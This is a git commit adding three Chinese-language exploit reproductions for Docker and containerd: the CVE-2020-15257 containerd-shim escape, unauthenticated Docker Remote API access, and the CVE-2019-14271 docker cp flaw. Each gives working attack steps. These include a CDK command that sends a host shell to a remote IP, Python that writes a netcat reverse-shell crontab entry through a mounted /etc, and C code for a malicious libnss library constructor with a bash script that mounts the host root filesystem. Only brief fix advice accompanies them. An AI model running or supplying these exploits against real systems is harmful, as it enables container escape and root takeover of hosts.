add Docker exp

This commit is contained in:
helloexp 2022-01-13 17:42:46 +08:00
parent ac93a247a1
commit 1495858e92
7 changed files with 291 additions and 0 deletions

View File

@ -0,0 +1,66 @@
# Docker 容器逃逸漏洞 (CVE-2020-15257)复现
## 漏洞概述
`containerd`是行业标准的容器运行时,可作为`Linux``Windows`的守护程序使用。在版本`1.3.9``1.4.3`之前的容器中,容器填充的`API`不正确地暴露给主机网络容器。填充程序的`API`套接字的访问控制验证了连接过程的有效`UID`为0但没有以其他方式限制对抽象`Unix`域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效`UID`为0但特权降低导致新进程以提升的特权运行。
## 影响版本
containerd < 1.4.3
containerd < 1.3.9
## 环境搭建
安装有漏洞的`containerd`版本
这里我使用的版本是`1.2.10`
![640](./resource/Docker 容器逃逸漏洞 (CVE-2020-15257)复现/media/640.png)
## 漏洞复现
通过`--net=host` 作为启动参数来运行一个容器:
```shell
docker run -it --net=host ubuntu:18.04 /bin/bash
```
接着在容器内执行
```shell
cat /proc/net/unix|grep -a "containerd-shim"
```
可看到抽象命名空间`Unix`域套接字
![641](./resource/Docker 容器逃逸漏洞 (CVE-2020-15257)复现/media/641.png)
Poc地址
> https://github.com/Xyntax/CDK/releases/tag/0.1.6
这里为了方便行事,我们下载解压直接把`cdk_linux_amd64`文件拷贝到容器里
```shell
docker cp cdk_linux_amd64 b7bd2b523d72:/tmp
```
![642](./resource/Docker 容器逃逸漏洞 (CVE-2020-15257)复现/media/642.png)
![643](./resource/Docker 容器逃逸漏洞 (CVE-2020-15257)复现/media/643.png)
在容器中执行`exp`,自动搜索可用的`socket`并反弹宿主机的`shell`到远端服务器,完成逃逸
```shell
./cdk_linux_amd64 run shim-pwn 192.168.1.102 6666
```
![644](./resource/Docker 容器逃逸漏洞 (CVE-2020-15257)复现/media/644.png)
## 修复建议
升级 `containerd` 至最新版本。
## 参考
> https://mp.weixin.qq.com/s/ieY90noArcObNgxyV2-sGA

View File

@ -0,0 +1,99 @@
Docker 未授权访问
=================
一、漏洞简介
------------
#### 1. 基础介绍
http://www.loner.fm/drops/\#\#!/drops/1203.%E6%96%B0%E5%A7%BF%E5%8A%BF%E4%B9%8BDocker%20Remote%20API%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%92%8C%E5%88%A9%E7%94%A8
docker swarm 是一个将docker集群变成单一虚拟的docker
host工具使用标准的Docker
API能够方便docker集群的管理和扩展由docker官方提供具体的大家可以看官网介绍。
漏洞发现的起因是有一位同学在使用docker swarm的时候发现了管理的docker
节点上会开放一个TCP端口2375绑定在0.0.0.0上http访问会返回 404 page
not found ,然后他研究了下,发现这是 Docker Remote
API可以执行docker命令比如访问 http://host:2375/containers/json
会返回服务器当前运行的 container列表和在docker CLI上执行 docker ps
的效果一样,其他操作比如创建/删除container拉取image等操作也都可以通过API调用完成然后他就开始吐槽了这尼玛太不安全了。
然后我想了想
swarm是用来管理docker集群的应该放在内网才对。问了之后发现他是在公网上的几台机器上安装swarm的并且2375端口的访问策略是开放的所以可以直接访问。
#### 2. 测试环境配置
先关闭docker然后开启
sudo service docker stop
# 绑定Docker Remote Api在指定端口这里是2375可以自行测试。
sudo docker daemon -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
参考API规范进行渗透https://docs.docker.com/engine/reference/api/docker-remote-api-v1.23/
操作Docker API可以使用python dockert api 完成。
pip install docker-py
API使用参考https://docker-py.readthedocs.io/en/stable/api/\#\#client-api
二、影响范围
------------
三、复现过程
------------
利用方法是,我们随意启动一个容器,并将宿主机的/etc目录挂载到容器中便可以任意读写文件了。我们可以将命令写入crontab配置文件进行反弹shell。
import docker
client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
写入crontab文件成功反弹shell![](./resource/Docker未授权访问/media/rId26.png)
#### python脚本
https://github.com/ianxtianxt/docker\_api\_vul
- 安装类库 `pip install -r requirements.txt`
- 查看运行的容器 `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375`
- 查看所有的容器 `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -a`
- 查看所有镜像 `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -l`
- 查看端口映射 `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -L`
- 写计划任务centos,redhat等,加-u参数用于ubuntu等 `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -C -i 镜像名 -H 反弹ip -P 反弹端口` `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -C -u -i 镜像名 -H 反弹ip -P 反弹端口`
- 写sshkey(自行修改脚本的中公钥) `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -C -i 镜像名 -k`
- 在容器中执行命令 `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -e "id" -I 容器id`
- 删除容器 `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -c -I 容器id`
- 修改client api版本 `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -v 1.22`
- 查看服务端api版本 `python dockerRemoteApiGetRootShell.py -h 127.0.0.1 -p 2375 -V`
#### 3.3 其他的一些exp
https://github.com/netxfly/docker-remote-api-exphttps://github.com/zer0yu/SomePoC/blob/master/Docker/Docker\_Remote\_API%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E.pyhttps://github.com/JnuSimba/MiscSecNotes/tree/master/Docker%E5%AE%89%E5%85%A8
#### 4. 防护策略
- 1.修改 Docker Remote API 服务默认参数。注意:该操作需要重启 Docker
服务才能生效。
- 2.修改 Docker 的启动参数: 定位到 DOCKER\_OPTS 中的
tcp://0.0.0.0:2375将0.0.0.0修改为127.0.0.1 或将默认端口 2375 改为自定义端口 为 Remote API 设置认证措施。参照 官方文档 配置 Rem
- 3.注意:该操作需要重启 Docker 服务才能生效。 修改 Docker 服务运行账号。请以较低权限账号运行 Docker
服务;另外,可以限制攻击者执行高危命令。
- 4.注意:该操作需要重启 Docker 服务才能生效。 设置防火墙策略。如果正常业务中 API
服务需要被其他服务器来访问,可以配置安全组策略或 iptables
策略,仅允许指定的 IP 来访问 Docker 接口。

Binary file not shown.

After

Width:  |  Height:  |  Size: 98 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 69 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 54 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 231 KiB

View File

@ -0,0 +1,126 @@
CVE-2019-14271Docker copy漏洞
=================================
一、漏洞简介
------------
二、漏洞影响
------------
Docker 19.03.1
三、复现过程
------------
### Docker cp
Copy命令允许从容器、向容器中、或容器之间复制文件。语法与标准的unix
cp命令非常相似。要从容器中复制/var/logs语法是docker cp
container\_name:/var/logs /some/host/path。
从下图所示要从容器中将文件复制出去Docker使用了一个名为docker-tar的帮助进程。
![](./resource/(CVE-2019-14271)Dockercopy漏洞/media/rId25.png)
图 1. 从容器中复制文件
docker-tar是通过chroot到容器将请求的文件或目录存档然后将生成的tar文件传递给Docker
daemon然后由daemon提取到主机的目标目录中。
注释CHROOT就是Change
Root也就是改变程序执行时所参考的根目录位置。CHROOT可以增进系统的安全性限制使用者能做的事。
![](./resource/(CVE-2019-14271)Dockercopy漏洞/media/rId26.png)
图 2. docker-tar chroot到容器中
Chroot主要是为了避免系统链接的问题当主机进程尝试访问容器中的文件时就可能会引发系统链接问题。如果访问的文件中有系统链接就会解析到host
root。因此攻击者控制的容器就可以尝试和诱使docker
cp在主机而非容器上读写文件。去年有许多Docker和Podman相关的系统链接CVE漏洞。通过chroot到容器的rootdocker-tar可以确保所有系统链接都可以高效地解析。
chroot到容器然后从容器中复制文件可能会引发很严重的安全问题。
### CVE-2019-14271
Docker是用Golang语言编写。有漏洞的Docker版本是用Go
v1.11编译的。在该版本中一些含有嵌入C代码cgo的包会在运行时动态加载共享的库。这些包包括net和os/user都是docker-tar使用的而且在运行时会加载多个libnss\_\*.so库。一般来说库是从host文件系统加载的但因为docker-tarchroot到了容器因此会从容器文件系统中加载库。也就是说docker-tat会加载和执行来源于容器或由容器控制的代码。
需要说明的是除了chroot到容器文件系统外docker-tar并没有被容器化。它是在host命名空间运行的权限为root全新且不受限于cgroups或seccomp。因此通过注入代码到docker-tar恶意容器就可以获取host主机的完全root访问权限。
可能的攻击场景有Docker用户从另一个Docker处复制文件
容器运行含有恶意libnss\_\*.so库的镜像
容器中含有被攻击者替换的libnss\_\*.so库
在这两种情况下攻击者都可以获取主机上的root代码执行权限。
### 漏洞利用
为利用该漏洞研究人员需要先创建一个恶意libnss库。研究人员随意选择了libnss\_files.so文件下载了库函数的源码并在代码中加入了一个函数------run\_at\_link()。研究人员还为该函数定义了constructor属性。constructor属性表明run\_at\_link函数在进程加载时会作为库的初始化函数执行。也就是说当Docker-tar进程动态加载恶意库时run\_at\_link函数就会执行。下面是run\_at\_link的代码
#include ...
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
bool is_priviliged();
__attribute__ ((constructor)) void run_at_link(void)
{
char * argv_break[2];
if (!is_priviliged())
return;
rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
fprintf(log_fp, "switched back to the original libnss_file.so");
if (!fork())
{
// Child runs breakout
argv_break[0] = strdup("/breakout");
argv_break[1] = NULL;
execve("/breakout", argv_break, NULL);
}
else
wait(NULL); // Wait for child
return;
}
bool is_priviliged()
{
FILE * proc_file = fopen("/proc/self/exe", "r");
if (proc_file != NULL)
{
fclose(proc_file);
return false; // can open so /proc exists, not privileged
}
return true; // we're running in the context of docker-tar
}
查/proc目录完成的。如果run\_at\_link运行在docker-tar环境下那么目录就是空的因为procfs挂载在/proc上只存在于容器的mount命名空间。
然后run\_at\_link会用恶意libnss库替换原始库。这保证了漏洞利用运行的随后进程不会意外加载恶意版本并触发run\_at\_link执行。
为简化该漏洞利用run\_at\_link会尝试在容器的/breakout路径下运行可执行文件。这样漏洞利用的其他部分就可以用bash写入而非C语言。让逻辑的其他部分在run\_at\_link外意味着在漏洞利用每次变化后无需重新编译恶意库只需改变breakout二进制文件就可以了。
![](./resource/(CVE-2019-14271)Dockercopy漏洞/media/rId29.png)
利用CVE-2019-14271打破Docker
在该漏洞视频中Docker用户会运行含有恶意libnss\_files.so的恶意镜像然后尝试从容器中复制一些日志。镜像中的/breakout二进制文件是一个简单的bash脚步会挂载host文件系统到/host\_fs的容器中并将消息写入host的/evil目录。/breakout脚本代码如下
umount /host_fs && rm -rf /host_fs
mkdir /host_fs
mount -t proc none /proc # mount the host's procfs over /proc
cd /proc/1/root # chdir to host's root
mount --bind . /host_fs # mount host root at /host_fs
echo "Hello from within the container!" > /host_fs/evil
四、参考链接
------------
> https://xz.aliyun.com/t/6806